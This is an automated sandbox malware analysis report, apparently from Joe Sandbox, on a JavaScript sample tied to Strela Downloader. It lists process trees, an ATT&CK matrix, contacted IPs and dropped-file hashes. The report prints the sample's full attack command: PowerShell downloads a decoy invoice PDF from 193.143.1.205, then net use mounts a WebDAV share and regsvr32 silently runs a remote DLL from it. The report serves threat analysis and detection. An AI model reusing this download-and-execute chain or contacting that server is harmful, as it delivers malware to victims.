Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
26448249042746730897.js	3%	Virustotal		Browse
26448249042746730897.js	3%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/T	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/c	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/spacez	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2970690135.000001CF16C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/T	net.exe, 00000006.00000003.1749246142.0000020D21ED3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1749758845.0000020D21ED3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1764210558.000001CF16EC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1749700773.0000020D21E98000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1749067286.0000020D21EEE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1749246142.0000020D21ED3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1749758845.0000020D21EEF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1749758845.0000020D21ED3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/c	net.exe, 00000006.00000002.1749700773.0000020D21E98000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1764210558.000001CF16EC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/spacez	net.exe, 00000006.00000002.1749700773.0000020D21E98000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588288
Start date and time:	2025-01-10 23:33:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	26448249042746730897.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/62@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.16.168.107, 2.16.168.105, 2.23.240.205, 3.219.243.226, 52.22.41.97, 3.233.129.217, 52.6.155.20, 162.159.61.3, 172.64.41.3, 23.209.209.135, 2.23.242.162, 88.221.110.91, 2.16.100.168, 23.40.179.66, 23.40.179.77, 23.40.179.72, 23.40.179.69, 23.40.179.76, 23.40.179.71, 23.40.179.68, 23.40.179.79, 23.40.179.73, 172.202.163.200, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:34:29	API Interceptor	27x Sleep call for process: powershell.exe modified
17:34:34	API Interceptor	1x Sleep call for process: net.exe modified
17:34:36	API Interceptor	2x Sleep call for process: svchost.exe modified
17:34:43	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	998728891275936098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5545194012153110815.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14174249761820017751.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073523169445138
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrK:KooCEYhgYEL0In
MD5:	2DF0B94596F49E74E5CDD02FEAD676E2
SHA1:	E7C15BD8D980D576202C8A62CA3D0EA236B967A6
SHA-256:	CE4796EFD0D33E9186524B37795E4BB13E9406577E31751BCA481B20F4C11C07
SHA-512:	8FEF0051FD35D8F0DF7311218F298AED5266DFF6687CD90652DFF508726C577807F7607B14632465EF0C9AA1E78BA99418144745C7A123EAE8E39E6F386F1BF6
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0a6f1029, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42215630317615227
Encrypted:	false
SSDEEP:	1536:9fjSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1w:9fjaza/vMUM2Uvz7DO
MD5:	739A05FF125AF4929C3281B68B026BC3
SHA1:	C9AF1FAB09BE1C53E09A0DCAF54F57248A16D6B1
SHA-256:	97C660D362C7994A709C3BDD358769323F27689A8FE298A8EF2C5E0B266B7277
SHA-512:	76D9916C9D2FE2D8F7F042CB4D9DB2E48CA149A989AF99538B0FCADE4EFE7147BF98C16E0F54C919B4B58BF66434A18602AE332FFA33591A4744901932A103E6
Malicious:	false
Preview:	.o.)... .......A.......X\...;...{......................0.!..........{A.%"...}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................K.%"...}-..................=.=%"...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07702254328717484
Encrypted:	false
SSDEEP:	3:dmUYe3gmdjjn13a/R6Rq9XallcVO/lnlZMxZNQl:Dz3jj53qR6R8eOewk
MD5:	F78DCAFF57C7364900280349CB173702
SHA1:	43F46A7625A24B0F25E2E23A4CED1514C011E86E
SHA-256:	2810DC5536AA228598AD6F28030327D986611B7C4D45DADF3755770CCDC71190
SHA-512:	650D075200D1E4919E940FADD9D0E85A5876F7323811AE52ED6414B8FFD853E5DF6D82B1056CB8C6A369804F2E66392F40618755C3EDA32E5C32A46165FA84CD
Malicious:	false
Preview:	.~.?.....................................;...{..%"...}.......{A..............{A......{A..........{A].................=.=%"...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.230264073956513
Encrypted:	false
SSDEEP:	6:iO4Pfx1cM+q2Pwkn2nKuAl9OmbnIFUtSPfFJZmwsPfFcMVkwOwkn2nKuAl9Ombjd:7IfIM+vYfHAahFUtOf//UfSMV5JfHAae
MD5:	5A12890972D2F17260D2B8A1B8283ADF
SHA1:	2913ECEE60675F25FE375C722A8690D0132DD00A
SHA-256:	1BEF4E3C1A91832005F686BDAA6B360C34B8F158E730F000DECA6DEC0AC3B323
SHA-512:	E5E0DAF17EAEB0FF1981AC24106E767BB0837B46ECE49D79459441A4AE8C579FDED4BC5C864F3AEACE30BCCF71BDCD1B42EA162847E5617647CC4D38D0E0C5F0
Malicious:	false
Preview:	2025/01/10-17:34:35.944 1c6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:34:35.951 1c6c Recovering log #3.2025/01/10-17:34:35.951 1c6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.230264073956513
Encrypted:	false
SSDEEP:	6:iO4Pfx1cM+q2Pwkn2nKuAl9OmbnIFUtSPfFJZmwsPfFcMVkwOwkn2nKuAl9Ombjd:7IfIM+vYfHAahFUtOf//UfSMV5JfHAae
MD5:	5A12890972D2F17260D2B8A1B8283ADF
SHA1:	2913ECEE60675F25FE375C722A8690D0132DD00A
SHA-256:	1BEF4E3C1A91832005F686BDAA6B360C34B8F158E730F000DECA6DEC0AC3B323
SHA-512:	E5E0DAF17EAEB0FF1981AC24106E767BB0837B46ECE49D79459441A4AE8C579FDED4BC5C864F3AEACE30BCCF71BDCD1B42EA162847E5617647CC4D38D0E0C5F0
Malicious:	false
Preview:	2025/01/10-17:34:35.944 1c6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:34:35.951 1c6c Recovering log #3.2025/01/10-17:34:35.951 1c6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.22698417589765
Encrypted:	false
SSDEEP:	6:iO4PfvUt+q2Pwkn2nKuAl9Ombzo2jMGIFUtSPfmRdXZmwsPfvtVkwOwkn2nKuAlx:7IfvUovYfHAa8uFUtOfmRdX/UfvT5Jfg
MD5:	A25615C68C8722D582E1638F2B53CBD7
SHA1:	DE35EFA595B5E719213EE6F46DBF43024996C4B5
SHA-256:	A6F9F446216DF73E4B7181D4BAD265660A4E4B0DCCA7E5A563F2F038C68D665B
SHA-512:	3C807224A291BA4A3F98429578EDC0019F685E86923213C9B5954A2C80AE7901670CE91A32598AA631A2B0896B955E7E9F63931F01062A583C7DA3F9959B4668
Malicious:	false
Preview:	2025/01/10-17:34:36.069 1d48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:34:36.070 1d48 Recovering log #3.2025/01/10-17:34:36.071 1d48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.22698417589765
Encrypted:	false
SSDEEP:	6:iO4PfvUt+q2Pwkn2nKuAl9Ombzo2jMGIFUtSPfmRdXZmwsPfvtVkwOwkn2nKuAlx:7IfvUovYfHAa8uFUtOfmRdX/UfvT5Jfg
MD5:	A25615C68C8722D582E1638F2B53CBD7
SHA1:	DE35EFA595B5E719213EE6F46DBF43024996C4B5
SHA-256:	A6F9F446216DF73E4B7181D4BAD265660A4E4B0DCCA7E5A563F2F038C68D665B
SHA-512:	3C807224A291BA4A3F98429578EDC0019F685E86923213C9B5954A2C80AE7901670CE91A32598AA631A2B0896B955E7E9F63931F01062A583C7DA3F9959B4668
Malicious:	false
Preview:	2025/01/10-17:34:36.069 1d48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:34:36.070 1d48 Recovering log #3.2025/01/10-17:34:36.071 1d48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9d0496ca-684d-4a16-9a68-0246bc4c720c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.953393285187047
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqORWisBdOg2HGOcaq3QYiubInP7E4TX:Y2sRds6dMHGx3QYhbG7n7
MD5:	BA42C72AC019FFA23AA51C6199F91252
SHA1:	C63A26F506EF1DE713CF581CAE5492D6881CE143
SHA-256:	605B06FFAE29D309110EA1327EA971D952A7D4EC58116C00721B6C8E97660600
SHA-512:	5AAEDBF6760E680DAFB9AC3D61454531C7F9369ECCF2BE68A61A6A9437BFF8B13467FDF0E8DE1D5B3BA9EE12B4E0234D6B806CE2118979139F2E2A7566D50119
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381108486360398","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130603},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF51f9d7.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c0daf499-6057-496a-888e-cc81eb18cecd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967403857886107
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4TX:Y2sRdsVdMHO3QYhbG7n7
MD5:	B7761633048D74E3C02F61AD04E00147
SHA1:	72A2D446DF757BAEA2C7A58C050925976E4C9372
SHA-256:	1A468796D744FCA806D1F828C07E0064AB6A1FA0E31DA3A403F12B9B89868B67
SHA-512:	397A10C510FAA048E4AAB08A11B2AE14A09EE47EC4F5A2B47CE1A9580C2874ADE0F9F8FC287B9358C0FFEA4C89F8AB9270B9CA00064EA90CD2EF0EAD0A59369F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.25981184134241
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7E8Xu:etJCV4FiN/jTN/2r8Mta02fEhgO73go0
MD5:	BB545B684E808E6CF0CC82D250C98200
SHA1:	7B6925E0123A6CEC5FDB31270EA8F319321B50BE
SHA-256:	CFC6560FA89D7EED8D8A6DDB91878E1A2B71E40A28CF1DFFAD0C839830CAAB4C
SHA-512:	475ADD37E960EC65F6449B49016F334427A566CF262EE4BF8311E94EE671F01CFEB9B441F5F85CB8E369EBF2210F06C9C90CA8023824014D30DC5E65EEC1BBB0
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.214260282714685
Encrypted:	false
SSDEEP:	6:iO4PfPd+q2Pwkn2nKuAl9OmbzNMxIFUtSPflZmwsPf3tVkwOwkn2nKuAl9OmbzNq:7IfwvYfHAa8jFUtOfl/Ufj5JfHAa84J
MD5:	50FF01178B9DD89489A6D5F5EE0FCB05
SHA1:	B6BB8378E6C018812C3D91F5EB65795C65B2A8ED
SHA-256:	EAD7CF09F9F66BD64233D670EA08898F746D643FB7254D46D7D02720DB1CEC4E
SHA-512:	C76263FEA765070E6771217E083DC00D9F03B76EA017DD887E36407B188FF7CE06DA43DE48AD833AD0855D31C66A8B5ACF8F39393976F7DA9548352A3A815DC3
Malicious:	false
Preview:	2025/01/10-17:34:36.303 1d48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:34:36.310 1d48 Recovering log #3.2025/01/10-17:34:36.332 1d48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.214260282714685
Encrypted:	false
